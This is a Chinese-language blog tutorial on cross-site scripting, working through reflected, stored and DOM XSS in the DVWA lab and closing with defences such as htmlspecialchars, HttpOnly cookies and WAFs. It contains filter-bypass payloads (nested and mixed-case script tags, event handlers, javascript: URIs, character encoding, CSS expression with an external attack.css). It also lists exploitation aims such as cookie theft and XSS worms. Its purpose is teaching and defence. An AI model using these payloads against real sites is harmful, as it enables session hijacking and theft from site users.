XSS繞過及防禦(Web漏洞及防禦)

2020-10-22 TONY文心



========== 實驗環境 ==========

Windows Server 2018 R2

DVWA


========== 實驗環境 ==========


XSS攻擊,指黑客利用網站漏洞把惡意的腳本代碼(通常包括HTML代碼和JS腳本)注入到網頁中,當用戶瀏覽網頁時,就會執行其中的惡意代碼(控制用戶瀏覽器),對受害用戶採取Cookie數據竊取會話劫持釣魚欺騙等各種攻擊。

它對Web伺服器沒有直接危害,藉助網站進行傳播,使網站的用戶受到攻擊。


攻擊者一般通過留言、電子郵件或其他途徑向受害用戶發送一個惡意的URL,當惡意URL被用戶觸發時,惡意腳本就會在受害者的計算機上執行。


造成XSS攻擊的因素?

  1. Web瀏覽器的設計不安全,瀏覽器只執行和解析JS等腳本,不會判斷數據和程序代碼是否惡意。
  2. 輸入和輸出的交過過程中,沒有做好安全防護。
  3. 團隊協作開發,水平參差不齊,難免存在問題。
  4. 意識性不強
  5. 觸發惡意代碼的手段多樣,無法做到完全防禦
  6. XSS漏洞注入點多樣

XSS漏洞的危害

攻擊者通過注入如alert(/xss/)之類的JS代碼來證明XSS漏洞的存在性,但沒有真實地反映其危害性!

  1. 網絡釣魚,盜取用戶帳號。
  2. cookies竊取,偽造身份進行對網站的操作。
  3. 劫持用戶(瀏覽器)會話,執行任意操作,如非法轉帳等。
  4. 利用JS彈出廣告頁面,刷流量。
  5. 網頁掛馬
  6. 惡意操作
  7. 客戶端攻擊
  8. 獲取客戶端信息(用戶的瀏覽記錄、IP、開放的埠)
  9. 控制受害者電腦向其他網站進行攻擊
  10. 結合其他漏洞,如CSRF漏洞,實施進一步操作。
  11. 提升用戶權限,滲透網站。
  12. 傳播跨站腳本蠕蟲


反射型XXS(非持久型XSS,一次性):主要用於將惡意腳本附加到URL地址參數中。

攻擊者通過特定的手法,比如利用電子郵件,誘使用戶去訪問一個包含惡意代碼的URL,當受害者觸發時,惡意JS代碼會直接在受害者主機上的瀏覽器執行。特點是,只在用戶觸發的時候,執行一次!

流程:


通常出現在網站的搜索欄,用戶登入口,用來竊取客戶端Cookie或進行釣魚欺騙。


POC

<sCr<scrscRiptipt>ipt>OonN'"<>

過濾掉了<sCr<scrscRiptipt>OonN'"<>

DVWA

low:



過濾掉了<sCr<scrscRiptipt>,其他沒有過濾!

源碼:


構造:

<input onfocus=alert(/xss/) autofocus>

成功:


medium:

源碼:



也只進行了<script>過濾,替換了成空!攻擊手段同low一樣!

<input onfocus=alert(/xss/) autofocus>


high:




impossible:




結論:

使用php中的htmlspecialchars函數把預定義的字符&、」、 』、<、>轉換為 HTML 實體

防止瀏覽器將其作為HTML元素!


存儲型XSS:也叫持久型跨站腳本,攻擊者事先將惡意JS代碼上傳或存儲到漏洞伺服器中,只要瀏覽包含惡意JS代碼的頁面就會被執行。



持久型XSS一般出現在網站的留言、評論等交互處,惡意腳本被存儲到客戶端或者伺服器的資料庫中,當用戶瀏覽該網頁時,伺服器從資料庫中讀取惡意用戶存入的非法數據,然後顯示在頁面中,在受害者電腦上的瀏覽器執行惡意代碼。它不需要用戶去單擊URL進行觸發,可以利用它滲透網站,掛馬,釣魚......

利用此XSS還能編寫XSS蠕蟲,能夠在網站中實現病毒的幾何數級傳播!XSS蠕蟲會直接影響網站的所有用戶,一個地方出現XSS漏洞,網站下的所有用戶都有可能被攻擊。


low:




<sCr<scrscRiptipt>ipt>OonN'"<>



<script>alert(/xss/)</script>

medium:


<sc<script>ript>alert(/xss/)</script>


high:

<img src=1 onerror=alert(/xss/)>



impossible:



Message: <sCr<scrscRiptipt>ipt>OonN\'\"<>

通過使用htmlspecialchars函數,解決了XSS,但是要注意的是,如果htmlspecialchars函數使用不當,攻擊者就可以通過編碼的方式繞過函數進行XSS注入,尤其是DOM型的XSS。


DOM型XSS:通過修改頁面的DOM節點形成的XSS,並不會將payload上傳到伺服器,沒有與伺服器端進行交互,如果DOM中的數據沒有經過嚴格確認,就會產生DOM—based XSS漏洞

可能觸發DOM型XSS的屬性

document.referer

window.name

location

innerHTML

documen.write


low:

查看頁面原始碼:


document屬於window 的一個子對象

window.location 包含 href 屬性,直接取值賦值時相當於 window.location.href

window.location.href 當前頁面完整 URL

document.location 包含 href 屬性,直接取值賦值時相當於 document.location.href

document.location.href 當前頁面完整 URL

decodeURI() 函數可對 encodeURI() 函數編碼過的 URI 進行解碼

插入的 javascript 代碼可以在 decodeURL(lang) 被執行


http://192.168.10.128/DVWA-master/vulnerabilities/xss_d/?default=English<script>alert(/xss/)</script>


meduim:

查看伺服器端源碼:


array_key_exists() 函數檢查某個數組中是否存在指定的鍵名,如果鍵名存在則返回 true,如果鍵名不存在則返回 false。

stripos() 函數查找字符串在另一字符串中第一次出現的位置(不區分大小寫)

header() 函數向客戶端發送原始的 HTTP 報頭

結論:Medium 級別過濾了 <script>


構造:

  1. 閉合前面的<option>和<select>
  2. <img src=1 onerror=alert(/xss/)>

http://192.168.10.128/DVWA-master/vulnerabilities/xss_d/?default=English</option></select><img src=1 onerror=alert(/xss/)>



high:

源碼:

# ok

http://192.168.10.128/DVWA-master/vulnerabilities/xss_d/?default=English #<script>alert(/xss/)</script>



impossible:



輸入的參數都進行了URL編碼!


攻擊:

Cookie劫持和欺騙

注意:詳細過程,請參考<<Web滲透測試(XSS)>>!

防禦:

Set-Cookie時給關鍵字Cookie植入HttpOnly標識!

Cookie與客戶端的IP位址綁定!


攻擊:模擬GET,POST請求操作用戶的瀏覽器

防禦:提交表單的時候要求用戶輸入驗證碼

"修改密碼"的功能中,要求用戶輸入舊密碼

繞過:

對於驗證碼,XSS Payload可以通過讀取頁面內容,將驗證碼的圖片URL發送到遠程伺服器上來實施(遠程XSS後臺接收當前的驗證碼),將驗證碼的值返回給當前的XSS Payload,從而繞過驗證碼。

修改密碼,可以通過釣魚網站來偽造獲取舊密碼!


攻擊:識別用戶瀏覽器(UserAgent對象)

但瀏覽器的UserAgent對象可以偽造,瀏覽器的好多擴展都可以自定義瀏覽器的UserAgent,所以獲取到的信息不一定準確。但由於瀏覽器之間實現存在差異,通過這些差異可以準確地判斷出瀏覽器版本。(通過代碼實現)

攻擊:識別用戶安裝的軟體

IE中,通過判斷ActiveX控制項的classid是否存在,來推測用戶是否安裝了該軟體。通過判斷用戶安裝的軟體,選擇對應的瀏覽器漏洞,來植入木馬的目的。

攻擊:識別瀏覽器的擴展和插件

firefox的插件列表存放在一個DOM對象中,通過查詢DOM對象可以遍歷出所有的插件。查詢navigator.plugins對象!

firefox的擴展,通過圖標來判斷是否存在。


通過CSS,發現用戶曾經訪問過的網站,style的visited屬性!

獲取用戶的真實IP位址:

比如客戶端安裝了Java環境,XSS可以調用Java Applet接口來獲取客戶端的本地IP位址。

ActiveX

Flash

iTunes

office Word

QuickTime

...等等第三方軟體的功能,來抓取用戶的本地信息。


XSS Cheat Sheet:

在測試XSS的過程中,需要嘗試各種XSS輸入,來繞過伺服器端程序對跨站腳本的過濾,如果有一份待測試的XSS語句列表會方便很多。

XSS語句列表羅列出各種各樣的XSS代碼,代碼在不同的瀏覽器、不同的應用場景、不同的環境下均有跨站觸發的可能。通常,此類列表被稱為Cheat Sheet!

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet


<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>

......


XSS構造:

繞過XSS-filter

XSS-filter一般基於黑白名單的安全過濾策略(攔截、編碼和消毒過濾等處理),實際上是一段編寫額過濾函數。

  1. <>標記注射HTML/JS

過濾和轉義<>和<script>

  1. HTML標籤屬性值執行XSS

Javascript:[code]偽協議的形式,它聲明了URL的主體是任意的JS代碼,由JS的解釋器運行

<img src="javascript:alert('xss');">

註:不是所有標記的屬性值都能產生XSS,通常只有引用文件的屬性才能觸發XSS腳本

href/lowsrc/bgsound/background/value/action/dynsrc ......

過濾JavaScript等關鍵字

  1. 空格回車Tab

<img src="javas cript:alert(/xss/)" width=100 height=100> // tab

JS通常以分號結尾,如果JS引擎確認一個語句是完整的,而這一行的結尾有換行符,那麼就可以省略分號

var name = "tony"var age= 18;

var name="tony wenxin";var age=18;

除了在引號中分隔單詞或強制結束語句之外,額外的空白無論以何種方式添加都無所謂!

var name="tony";// JS引擎沒有把換行符解釋為語句的終止符,因為到換行處並不是一個完整的語句,會繼續處理發現的內容// 直到遇到一個分號或發現語句完整為止

繞過過濾:

<img src="javascript:alert(/xss/)" width=100 height=100 >

  1. 對標籤屬性值轉碼

對普通的HTML標記的屬性值進行過濾,用戶還是可以通過編碼處理來繞過,因為HTML中屬性值本身支持ASCII碼形式。

<img src="javascript:alert(/xss/);">

<img src="javascript:alert(/xss/);"> // t:116 t //: 58 :

另外,tab符的ASCII碼 、換行符 、回車符 可以被插入到代碼中的任意位置!

  1. 事件

onerror

onclick

......

<img src="#" onerror=alert(/xss/)>

  1. CSS跨站

<div style="background-image:url(javascript:alert('/xss/'))">

對style屬性進行過濾!

CSS的引入:

<link rel="stylesheet" href="http://www.baidu.com/attack.css">

<style type="text/css">@import url(http://www.baidu.com/attack.css);</style> // attack.css .executeCSS{ event:expression( onload = function(){alert(/xss/);} ) }

@import 'javascript:alert(/xss/)';

過濾expression/javascript/import字符

  1. 擾亂過濾規則

大小寫轉換

大小寫混淆

使用單引號

不使用引號

  1. 利用字符編碼

利用編碼工具,把字符編碼為十進位或十六進位進行替換!

j // 十進位a // 十六進位

JS還支持unicode、escapes、八進位等編碼形式!


XSS shellcode

shellcode調用方式:

  1. 寫入URL參數中

http://www.tong.com?index.php?name=[]

  1. <script>標籤裡
  2. src
  3. JS代碼嵌入到網頁中
  4. window.location.hash屬性
  5. XSS downloader
  6. 存儲在本地客戶端中

XSS的利用

注意:具體實操在之前文章已有涉及,這裡只涉及利用手段!

  1. cookie竊取
  2. XSS權限提升(劫持後臺管理員的會話)
  3. 獲取網站的WebShell
  4. 網絡釣魚(控制用戶瀏覽器的行為)
  5. 網頁掛馬(利用JS動態的創建一個窗口,並調用網頁木馬!)
  6. DOS和DDOS(無限循環地執行JS代碼)
  7. XSS蠕蟲病毒(自我複製,在客戶端執行惡意攻擊!)


XSS防禦

  1. 過濾用戶提交的信息

輸入過濾:(輸入是否合法,長度限制,格式,過濾敏感字符等等)

輸出過濾:(編碼處理,如HTML實體)

  1. 黑名單和白名單
  2. 定製過濾策略
  3. 安全編碼規範(使用開源的防止XSS庫進行編寫代碼!)
  4. WAF

......

相關焦點

  • SQL注入繞過與防禦(Web漏洞及防禦)
    大小寫繞過根據應用程式的過濾規則,通常會對惡意關鍵字設置黑名單,如果存在惡意關鍵字,應用程式就會退出運行。編碼繞過雙重URL編碼繞過(有些過濾規則並未對參數進行解碼,而程序處理時會解碼!)and*/ 1=1空格過濾繞過:會將空格加入黑名單!可以使用制表符,換行符,括號、反引號,/**/等來代替空格!
  • 強防禦下的XSS繞過思路(二) 黑名單篇
    前 言很多白帽子在挖掘XSS漏洞的時候,往往會遇到一個問題,就是明明發現這裡的過濾有缺陷,但是就是沒法成功的進行構造利用。可能會由於自身對XSS繞過的局限性思維,往往只會反覆的去嘗試各種不同 payload代碼,寄希望於其中某一個可以繞過過濾。但是在遇到強有力的XSS防禦措施下,往往只能是竹籃打水一場空。
  • XSS:原理、攻擊、防禦
    DOM型XSS其實是一種特殊類型的反射型XSS,它是基於DOM文檔對象模型的一種漏洞,而且不需要與伺服器進行交互。客戶端的腳本程序可以通過DOM來動態修改頁面內容,從客戶端獲取DOM中的數據並在本地執行。
  • 命令執行與代碼執行(Web漏洞及防禦)
    命令執行繞過開發人員在開發的過程中,為了避免命令執行漏洞,可能會過濾一些命令!${IFS}繞過:是shell的特殊環境變量,是Linux下的內部域分隔符,存儲的值可以是空格、制表符、換行符或者其他自定義符號!?
  • 文件上傳(Web漏洞及防禦)
    如果伺服器配置不當或者沒有進行足夠的過濾,Web ⽤戶就可以上傳任意⽂件,包括惡意腳本⽂件,exe 程序等等,這就造成了⽂件上傳漏洞。漏洞的成因伺服器配置不當Web 應⽤開放了文件上傳功能,沒有對上傳的⽂件做⾜夠的限制和過濾。
  • 文件包含(Web漏洞及防禦)
    攻擊者,可以將惡意代碼寫入Session文件中,然後再利用文件包含漏洞包含Session文件,向系統傳入惡意代碼!日誌文件包含伺服器中的中間件、SSH等等服務都會有記錄日誌的功能,用戶訪問的日誌會存儲到不同服務的相關文件中!
  • CSRF和SSRF(Web漏洞及防禦)
    CSRF的防禦(儘管也可以繞過驗證碼,今後講解業務安全時,會提到如果繞過驗證碼漏洞!)注意:驗證碼,用戶體驗不好!Token(請求令牌!)SSRFSSRF:Server-Side Request Forgery(服務端請求偽造)攻擊者利用SSRF漏洞通過伺服器端發起偽造請求!一般情況下,SSRF攻擊的目標是外網無法訪問的內部系統!
  • 跨站腳本(XSS)漏洞實戰演示——由易到難2
    前面幾篇文章我們講到了跨站腳本(XSS)漏洞的幾種類型和驗證方法以及防禦措施,有興趣的朋友可以到我的主頁翻看文章《十大常見web漏洞——跨站腳本漏洞》和《實操web漏洞驗證——跨站腳本漏洞》,今天我們繼續由易到難實戰演示一下跨站腳本漏洞的形成,以便更好地了解漏洞的產生原理,進一步做好防禦。上一篇文章我們已經闖過了5關,今天我們繼續。
  • 什麼是XSS攻擊?如何防禦XSS攻擊?
    大家上午好,大家經常聽到XSS攻擊這個詞,那麼XSS攻擊到底是什麼,以及如何防禦大家清楚麼?今天,小墨就給大家講一下:XSS攻擊的定義、類型以及防禦方法。什麼是XSS攻擊?XSS攻擊全稱跨站腳本攻擊,是一種在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。XSS攻擊有哪幾種類型?常見的 XSS 攻擊有三種:反射型XSS攻擊、DOM-based 型XXS攻擊以及存儲型XSS攻擊。
  • 深信服下一代防火牆防禦功能大比拼!
    面對層出不窮的網際網路攻擊,我們應該如何進行防禦?今天小編為大家對比兩款入侵防護設備,IPS和下一代防火牆。  IPS能夠依據已知漏洞特徵庫,對被明確判斷為攻擊行為,會對網絡、數據造成危害的惡意行為進行檢測和防禦。IPS依賴已知漏洞進行攻擊防禦的特點,使其無法有效抵禦0day漏洞等黑客攻擊。
  • 佔全球70%網絡安全攻擊的web攻擊:XSS攻擊是什麼?如何防範!
    xss跨站腳本攻擊(Cross Site Scripting)縮寫為css,因與層疊樣式表重名而改為XSS,是一種網絡攻擊方式。研究表明,目前xss攻擊已成最主流的網絡web攻擊方式,約佔全球網絡攻擊的70%。
  • 中間件(Web漏洞及防禦)
    IISIIS 6.0上傳漏洞修改文件擴展名(move方法)IIS短文件名枚舉漏洞在get請求中加入"~",可以讓遠程攻擊者看到diclose文件和文件夾的名稱並找到重要的文件夾和文件!IIS HTTP .sys漏洞HTTP .sys會錯誤地解析某些特殊構造的HTTP請求,存在遠程代碼執行漏洞!
  • XXE(Web漏洞及防禦)
    XEE:XML External Entity(XML外部實體)(注意:XEE與XML注入、XPATH注入漏洞不一樣的ENTITY 實體名稱 PUBLIC "public_ID" "URI">漏洞產生的原因XXE是一種針對應用程式的解析XML輸入的攻擊,當輸入包含外部實體引用的XML文件到未進行安全配置的XML解析器中時,易產生此類攻擊!
  • Web滲透測試(XSS)
    XSS 漏洞的驗證可以使⽤⼀段簡單的代碼,驗證和檢測漏洞的存在,這樣的代碼叫做POC(Proof of Concept)驗證XSS 漏洞存在的POC 如下:alert(/xss/);confirm(&39;);prompt(&39;);<script>alert
  • 中小企業應該如何建立自己的防禦體系
    面臨的問題 架構:運維 業務 應用 內部 運維:伺服器配置問題 未更新補丁 採用有漏洞的中間件及服務 弱口令等 業務:活動促銷 帳號體系 交易體系 風控體系等 應用:web漏洞 app漏洞 內部:安全意識不足 辦公網補丁 wifi
  • 反序列化漏洞(Web漏洞及防禦)
    PHP反序列化漏洞的利用條件:unserialize函數的參數可控存在魔法函數魔法函數:其他漏洞利用(getshell等),請參考之前的文章:PHP反序列化的防禦和大多數漏洞一樣,反序列化的問題也是用戶參數的控制問題引起的,所以好的預防措施就是
  • 解析漏洞(Web漏洞及防禦)
    (由於Web容器自身的漏洞,導致一些特殊文件被 IIS、apache、Nginx 或其他 Web伺服器在某種情況下解釋成腳本文件執行!Apache解析漏洞防禦修改Apache的配置文件,放置文件名中有.php.的文件被執行!CGICGI:Common Gateway Interface,通用網關接口,是一種規範,可以用任何語言編寫CGI!
  • PHP安全篇之XSS攻擊
    $_GET['username'];}上面代碼直接使用了$_GET['username']參數,並沒有做任何的過濾與檢查,存在明顯的xss漏洞。漏洞利用:輸入<script>alert(/xss/)</script>後,成功彈窗。
  • XSS(跨站腳本攻擊)內容總結整理
    ,如CSRF漏洞,實施進一步作惡;9.傳播跨站腳本蠕蟲等。**XSS攻擊:**xss就是在頁面執行你想要的js,只要能允許JS,就能獲取cookie(設置http-only除外),就能發起一些事件操作等。《XSS的原理分析與解剖》:https://www.freebuf.com/articles/web/40520.html註:評論內容摘要1、chrome內核與ie內核不一樣,chrome的過濾機制比ie強。
  • PHP開發中經常遇到的Web安全漏洞防禦詳解
    程式設計師需要掌握基本的web安全知識,防患於未然,你們知道有多少種web安全漏洞嗎?Site Scripting, XSS)5、SQL注入攻擊(SQL injection)6、跨網站請求偽造攻擊(Cross Site Request Forgeries, CSRF)7、Session 會話劫持(Session Hijacking)8 Session 會話固定(Sessionfixation)9、HTTP響應拆分攻擊(HTTP Response Splitting)10、文件上傳漏洞